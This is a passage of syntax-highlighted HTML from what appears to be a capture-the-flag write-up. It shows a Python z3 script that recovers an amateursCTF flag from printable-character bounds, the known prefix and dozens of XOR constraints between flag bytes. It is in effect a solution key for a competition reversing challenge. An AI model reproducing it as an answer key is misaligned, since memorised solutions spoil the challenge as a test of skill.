punctuation\">{</span>i<span class=\"token punctuation\">}</span></span><span class=\"token string\">]\"</span></span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span> <span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x3d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x3d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    s<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>And<span class=\"token punctuation\">(</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">>=</span> <span class=\"token number\">0x21</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">&lt;=</span> <span class=\"token number\">0x7e</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># amateursCTF</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"a\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"m\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"a\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"t\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"e\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"u\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"r\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"s\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"C\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"T\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token builtin\">ord</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"F\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x28</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x38</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xb</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x12</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3c</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x16</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x43</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x33</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2e</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1f</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xf</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x32</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x38</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xa</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x70</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x54</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x38</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xf</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x42</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x6</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1c</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x6</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x28</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x56</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xb</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xe</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x6c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x31</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x37</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x7</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2a</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2f</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x46</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x28</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x44</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x27</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2f</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x17</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1f</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x37</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x7</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x27</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x16</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xa</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x23</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xa</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2f</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x38</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2c</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x27</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xf</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x6b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x27</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x11</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x27</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x37</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x31</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x41</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x15</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x55</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xf</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x7</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x24</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token 